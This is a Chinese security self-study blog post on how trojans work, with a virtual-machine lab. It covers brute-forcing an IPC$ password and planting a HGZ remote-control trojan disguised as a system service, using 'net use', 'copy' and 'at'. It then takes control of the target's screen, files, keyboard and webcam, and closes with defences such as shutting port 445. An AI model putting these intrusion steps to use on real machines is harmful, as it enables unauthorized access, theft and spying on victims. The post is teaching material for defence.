[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验

时间 2020-02-04 标签网络安全自学篇四十三 43 木马原理详解远程服务器 ipc 漏洞木马植入实验

这是做者的网络安全自学教程系列，主要是关于安全工具和实践操做的在线笔记，特分享出来与博友们学习，但愿您们喜欢，一块儿进步。前文分享了DNS欺骗（DNS投毒）及钓鱼网站原理知识，并经过Ettercap工具复现某购物网站的钓鱼漏洞。本文将详细讲解木马原理知识，并经过远程服务器IPC $ 漏洞实现木马植入及控制远程服务器。但愿这篇基础文章对您有所帮助，更但愿你们提升安全意识，学会相关防范，也欢迎你们讨论。php

做者做为网络安全的小白，分享一些自学基础教程给你们，主要是关于安全工具和实践操做的在线笔记，但愿您们喜欢。同时，更但愿您能与我一块儿操做和进步，后续将深刻学习网络安全和系统安全知识并分享相关实验。总之，但愿该系列文章对博友有所帮助，写文不易，大神们不喜勿喷，谢谢！若是文章对您有帮助，将是我创做的最大动力，点赞、评论、私聊都可，一块儿加油喔~html

PS：本文参考了B站（千峰教育feige老师）、安全网站和参考文献中的文章，并结合本身的经验和实践进行撰写，也推荐你们阅读参考文献。前端

下载地址：https://github.com/eastmountyxz/NetworkSecuritySelf-studygit

文章目录

三.总结

前文欣赏：
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
 [渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
 [渗透&攻防] 三.数据库之差别备份及Caidao利器
 [渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包web

声明：本人坚定反对利用教学方法进行犯罪的行为，一切犯罪行为必将受到严惩，绿色网络须要咱们共同维护，更推荐你们了解它们背后的原理，更好地进行防御。面试

一.木马详解

很早以前做者介绍了“Web安全学习路线及木马、病毒和防护初探”，而这篇将结合案例更深刻地讲解木马知识，但愿对您有所帮助。注意，本文的实验绝对禁止在真实环境中去完成，做者将引用B站视频中虚拟机实验复现，未经受权的测试或攻击行为咱们一概禁止。本文仅做为科普文章并提高读者的安全防范意识，关闭远程服务端口。正则表达式

实训目标：
经过经典的木马攻击还原场景，来学习木马的制做，并实现植入木马对目标主机进行彻底控制。现实中，木马发送给目标有不少种方法，好比发送垃圾邮件、点击垃圾连接、访问HS网站、从非官方网站下载软件等，而且不少人在中木马以后还不知道。本篇文章的实验主要是针对服务器的木马植入展开。算法

特洛伊木马：
比喻侵入内部的破坏性因素。来源于希腊神话中特洛伊战争，特洛伊人劫持了希腊最美的女人海伦，古希腊为了夺回海伦，发动了对特洛伊的远征，围困十年之久，但就是攻不下这个城池，最后希腊人建造了一个强大的木马（木头作的马），让希腊武士藏在木马中，而后伪装撤兵，特洛伊人把这个木马看成战利品，晚上希腊武士趁其熟睡打开城门攻城。如今计算机病毒也命名为特洛伊木马，它会千方百计植入目标，从内部瓦解对方。shell

木马一般称为黑客程序、恶意代码，也称为特洛伊木马
基于远程控制的黑客工具

木马的特性：

隐蔽性
潜伏性
再生性

木马的组成：

客户端程序
客户端程序是安装在攻击者（黑客）方的控制台，它负责远程遥控指挥，好比黑客须要数据则控制远程恶意代码或木马程序去搜集数据
服务端程序
服务器端程序便是木马程序，它被隐藏安装（植入）在被攻击（受害）方的电脑上，目标主机也称为肉鸡

木马的危害：

盗取用户信息，好比网游帐户、网银信息、QQ密码等。QQ密码虽然加密，但输密码时能够经过键盘记录发送给客户端
传播病毒
占用系统资源，下降电脑效能
将本机做为工具来攻击其余设备等

中了木马的征兆：

硬盘不停的读写
鼠标键盘不停使唤
窗口忽然被关闭
新的窗口莫名其妙地打开

木马传播途径：

网页浏览时利用浏览器漏洞或浏览器插件（Flash、迅雷等）漏洞
经过QQ、MSN等及时通信软件，发送恶意网址连接或木马病毒文件
使用U盘等移动存储介质。电脑别轻易插入不认识人的U盘，社会工程学会利用人性贪婪瓦解内部防火墙
打开陌生的邮件，经过电子邮件内恶意代码或含木马病毒的附件
假装成多媒体影音文件或植入木马的应用软件，利用P2P平台和网址传播
利用操做系统漏洞或弱口令直接远程植入
下载来源不明的程序

如何防护：

提升警戒性，别占小便宜，别点击垃圾连接或邮件
从官网下载程序，密码设置复杂
设置防火墙和杀毒软件，按期杀毒并清理电脑
防止社会工程学诱骗或攻击

二.木马实验

1.实验环境

环境介绍：

虚拟机软件：VMware V12.0版本
虚拟机：Windows XP（模拟黑客攻击机）、Windows Server 2003（模拟被木马控制方）
黑客工具：HGZ软件、NTscan

实验流程：
1.开启虚拟机，将xp和2003桥接到VMnet1上
2.配置IP地址并测试网络连通性：XP配置IP为10.1.1.1/2四、2003配置IP为10.1.1.2/24
3.制做木马：使用HGZ制做木马，并将木马生成在D盘
4.IPC $ 暴力爆破密码
5.与目标主机创建IPC $
6.植入木马到目标主机
7.设置目标主机运行木马
8.成功控制目标主机

2.配置网络

第一步，开启两台虚拟机。

使用还原快照以下图所示：

第二步，桥接网络。
XP和2003系统均设置为VMnet1网络。

接着配置IP地址，Windows XP系统IP地址配置为10.1.1.1。

Windows Server 2003配置IP地址为10.1.1.2

尝试ping 10.1.1.2 -t，当网络创建好以后，咱们开始制做木马。

3.制做木马

第一步，制做木马。
使用HGZ制做木马。

首先咱们解压HGZ压缩包，以下图所示。

解压以后以下图所示：

HGZ软件运行以下图所示。左边显示自动上线主机（肉鸡），凡是中木马的肉鸡都会自动上线，木马会主动链接控制方并请求被彻底控制。

首先咱们须要生成木马，点击“配置服务程序”生成木马。

IP一般是黑客电脑的IP地址，由于生成的木马须要植入目标，它会自动链接黑客并发送信息，故填写“10.1.1.1”地址。接着点击底部的方块，选择所制做木马的保存路径。

存储至D盘，而且命名为system，尽可能和真实的名称相似，其隐蔽性更高。

在“安装选项”中，只勾选“安装成功后自动删除安装文件”选项，切勿勾选提示安装成功和运行显示图标。

为何木马比较难找？由于咱们会将木马服务名称和描述修改，假装成正常程序所运行的服务。好比服务名称修改成“windows system”，描述信息修改成“system重要进程”。

本地服务查找以下图所示：

高级选项能够将木马假装成“IEXPLORE.EXE”进程。

最后点击“生成服务器”，成功制做木马。

能够在D盘看到生成的木马。

4.植入木马

接下来咱们须要植入木马并自动运行，主要包括4个步骤：

IPC $ 暴力爆破
与目标主机创建IPC $
植入木马到目标主机
设置目标主机运行木马

其基本思路是但愿对方能运行木马，但运行前须要将木马植入到目标主机上，那么如何植入呢？在未经受权状况很难将木马拷贝到别人的电脑上。这里须要利用IPC $漏洞，调用445端口号实现。445端口中有个IPC $ ，称之为空链接，没有固定文件夹的共享；而C$ 、D$ 、E$ 表明分区共享，是有固定文件夹的。换句话说，445端口打开就至关于咱们能够在局域网中轻松访问各类共享文件夹，若是您的电脑是弱密码，很容易就被攻破，这里使用IPC $ 暴力爆破。

补充1：
IPC $ 暴力爆破是有条件的，就是别人有服务接口，好比对方开了FTP服务。hydra工具是出名的暴力爆破工具，以前的文章“三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求（二））”也讲述过。Web渗透以前一般须要扫描IP地址和开启的端口号、服务等，信息收集的方法有不少，经过收集发现目标开启的接口，接着才是经过暴力爆破获取最后的密码。

445端口
该端口是一个毁誉参半的端口，有了它咱们能够在局域网中轻松访问各类共享文件夹或共享打印机，但也正是由于有了它，黑客们才有了可乘之机，他们能经过该端口偷偷共享你的硬盘，甚至会在悄无声息中将你的硬盘格式化掉。2017年10月，因为病毒“坏兔子”来袭，国家互联网应急中心等安全机构建议用户及时关闭计算机以及网络设备上的445和139端口。勒索病毒也与445端口号相关。

如何预防呢？
关闭该服务端口，或配置高级防火墙且屏蔽任何人访问445。

IPC$(Internet Process Connection)

IPC$ 是共享“命名管道”的资源，它是为了让进程间通讯而开放的命名管道，经过提供可信任的用户名和口令，链接双方能够创建安全的通道并以此通道进行加密数据的交换，从而实现对远程计算机的访问。IPC $ 是NT2000的一项新功能，它有一个特色，即在同一时间内，两个IP之间只容许创建一个链接。NT2000在提供了 IPC $ 功能的同时，在初次安装系统时还打开了默认共享，即全部的逻辑共享(C$ 、D$ 、E$ …)和系统目录(C:\windows)共享。全部的这些初衷都是为了方便管理员的管理。但好的初衷并不必定有好的收效，一些别有用心者会利用IPC$访问共享资源，导出用户列表，并使用一些字典工具，进行密码探测。

接着开始讲解具体的操做。

第一步，收集信息再进行暴力爆破。
经过扫描软件收集信息，其原理是发送ping请求判断其是否在线，先扫描IP地址。推荐前文：
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
 [网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集

当服务器IP地址肯定以后，咱们还能够扫描开放的端口号。软件包括Nmap、ScanPort等。

简单总结： 首先扫描IP地址，接着扫描开放的端口，好比80端口、21端口、445端口等。若是开放80端口，能够经过软件（如Acunetix Web Vulnerability Scanner）进一步扫描网页漏洞，属于服务类漏洞；若是攻击445端口或21端口，则属于系统类攻击。肯定漏洞以后，咱们须要进一步利用漏洞进行Web渗透。

第二步，调用命令访问共享。
输入以下命令进行共享访问，它会提示您输入登陆帐号和密码。

net use \\10.1.1.2\ipc$

返回结果提示“登陆失败：未知的用户名或错误密码”，接下来怎么办呢？咱们只能进行暴力爆破。

第三步，使用NTscan软件暴力爆破，该软件支持远程链接IPC $和利用字典文件。
字典文件为“NT_pass”（密码）和“NT_user”（用户名），小的字典有几KB、几兆的，大的字典有上TB的。服务器用户名一般会设置为administrator、Admin等，若是您是网站管理员，建议将服务器的用户名和密码修改，并且服务器必定要设置密码且不为弱密码（长度限制、大小字母数组特殊符号组成）。

字典文件一般包括一些弱密码，包括空密码、弱密码、经常使用密码、公司名称、公司符号或缩写、客户信息、老板生日等。下图仅展现了简单的密码，如“123456”、“password”、“%null%”等。

真实的字典会很大，好比做者133MB的密码字典文件，可用于暴力爆破，网络安全工程师，一般都有属于本身的密码字典文件、目录扫描字典文件等。

接着运行软件，输入IP地址“10.1.1.2”，选择IPCsan链接共享“IPC $”。

点击“Start”开始扫描，成功获取了密码“123.com”，以下图所示。

第四步，与目标主机创建IPC $ 空链接。
远程链接输入用户名和密码。

net use \\10.1.1.2\ipc$ 123.com /user:administrator

此时，服务器被链接以后它是没有反应的，以下图所示。

注意：一旦创建IPC $ 空链接以后，目标的 C$ 、 D$ 、E$（C盘、D盘、E盘）都不须要再输入帐号和密码，能够直接进行操做。接着咱们尝试操做服务器，将木马拷贝到服务器中。怎么实现呢？

第五步，拷贝木马到服务器中。
建议你们将木马程序拷贝到C盘中深层次的目录下，这里仅拷贝到C盘根目录。

copy d:\system.exe \\10.1.1.2\c$

注意：这条copy命令之因此可以被使用，是由于咱们利用445端口漏洞已经创建了空链接。此时咱们查看服务器，能够看到“system.exe”程序已经被植入了。

为何咱们的HGZ软件没有提示上线呢？这是由于木马程序尚未运行。

第六步，远程运行咱们的木马。

若是输入“time”是获取本机的当前时间，若是输入“net time \10.1.1.2”是获取服务器的时间。

知道时间以后，咱们能够经过命令给对方植入一个计划任务，计划任务能够定时执行一个程序。虽然不能双击这个程序，可是可以定时执行这个程序。

at \\10.1.1.2 09:50 c:\system.exe

该命令表示服务器“10.1.1.2”在9点50执行system.exe程序。

输入命令“at \10.1.1.2”能够看到，该计划已经执行。

当时间到了9点50，能够看到“SHIMISI”服务器已经上线，这就是一台被咱们控制的肉鸡。

打开“SHIMISI”服务器，能够看到C盘、D盘和E盘的内容。

假设咱们想往控制的2003服务器传文件，选中E盘，而后点击上传图标，选择本地软件后点击“肯定”。

能够看到，对方电脑E盘中出现了咱们上传的文件。一样，咱们能够将对方服务器的内容下载至本地。

点击“捕获屏幕”按钮。

能够看到对方的屏幕已经被成功控制，并且为实时画面。

点击左上角“传送鼠标和键盘操做”，能够接管控制服务器电脑的鼠标和键盘。

点击“视频语音”按钮，再点击“开始视频监控”，能够进行摄像头拍摄。因此你们必定注意，平时不用要关闭摄像头或封住。

点击“Telnet”图标能够进行命令行控制。

好比在E盘调用命令“md yedaociyiyou”，能够建立文件夹。

服务器成功建立了该文件夹。

远程控制命令好比关机重启等，注册表修改等。

注意：该木马修改了服务，只要开机就会自动运行该木马而为咱们所用。

再次声明：HGZ木马如今很容易被杀死或察觉，也有不容易被杀死，你们必定不能拿去用于攻击，它会违反相关的法律，HGZ的做者可能还在里面。咱们做为安全工程师，但愿您们去了解漏洞背后的原理，更好地进行防护，绿色网络须要咱们共同维护。

补充：如何关闭远程服务或445端口呢？
做者打开本身的笔记本，输入命令“net share”，能够看到共享服务都是启动的，这是存在漏洞的。

在运行中输入services.msc，而后找到服务。

咱们须要将它关闭，设置为“禁用”。

再次运行，发现共享服务被成功关闭。

netstat -an命令能看到全部和本地计算机创建链接的IP，它包含四个部分：proto（链接方式）、local address（本地链接地址）、foreign address（和本地创建链接的地址）、state（当前端口状态）。经过这个命令的详细信息能够彻底监控本身的计算机上的链接。

三.总结

写到这里，这篇基础性文章就此结束。本文详细讲解了木马的原理知识，经过远程服务器445端口相关的IPC $ 漏洞复现了一个木马制做、植入、运行、控制的过程，做者的初衷一方面是作网络安全的普及，另外一方面但愿提升读者的安全防范意识。如何防护呢？

提升警戒性，别占小便宜，别点击垃圾连接或邮件
从官网下载程序，密码设置复杂，防止弱口令（数字大小写符号）爆破
设置防火墙和杀毒软件，按期杀毒并清理电脑
防止社会工程学诱骗或攻击
关于软件或系统漏洞，及时关闭远程服务或端口
摄像头、麦克风、路由器、网关、服务器等系统漏洞及人为防护
禁止禁止禁止作任何危害网络安全的行为，做为安全工程师，须要咱们共同维护绿色网络

但愿这系列文章对您有所帮助，真的感受本身技术好菜，要学的知识好多。这是第43篇原创的安全系列文章，从网络安全到系统安全，从木马病毒到后门劫持，从恶意代码到溯源分析，从渗透工具到二进制工具，还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防，人生漫漫其路远兮，做为初学者，本身真是爬着前行，感谢不少人的帮助，继续爬着，继续加油。

侠之为大，为国为民。向一线医护人员、军人、工人、科学家和全部工做者致敬。我们中国人一辈子的最高追求，为天地立心，为生民立命，为往圣继绝学，为万世开太平，他们真的作到了。生活哪有什么岁月静好，只不过这些人替咱们负重前行。但愿每个人都健康平安，戴口罩不出门，勤洗手多吃饭。武汉加油，湖北加油，中国加油。众志成城，加油必胜！！！

最后但愿你们帮我CSDN博客之星投投票，天天能够投5票喔，谢谢你们！八年，在CSDN分享了410篇文章，65个专栏，400多万人次浏览，包括Python人工智能、数据挖掘、网络爬虫、图象处理、网络安全、JAVA网站、Android开发、LAMP/WAMP、C#网络编程、C++游戏、算法和数据结构、面试总结、人生感悟等。固然还有我和你的故事，感恩一路有你，感谢一路同行，但愿经过编程分享帮助到更多人，也但愿学成以后教更多学生。由于喜欢，因此分享，且看且珍惜，加油！个人学生们，等我学成归来～

投票地址：http://m234140.nofollow.ax.mvote.cn/opage/ed8141a0-ed19-774b-6b0d-39c3aaf89dde.html?from=singlemessage

(By:Eastmount 2020-01-30 深夜9点写于贵阳 http://blog.csdn.net/eastmount/ )

参考文献：
[1] 2019 黑客入门基础Windows网络安全精讲 - B站老师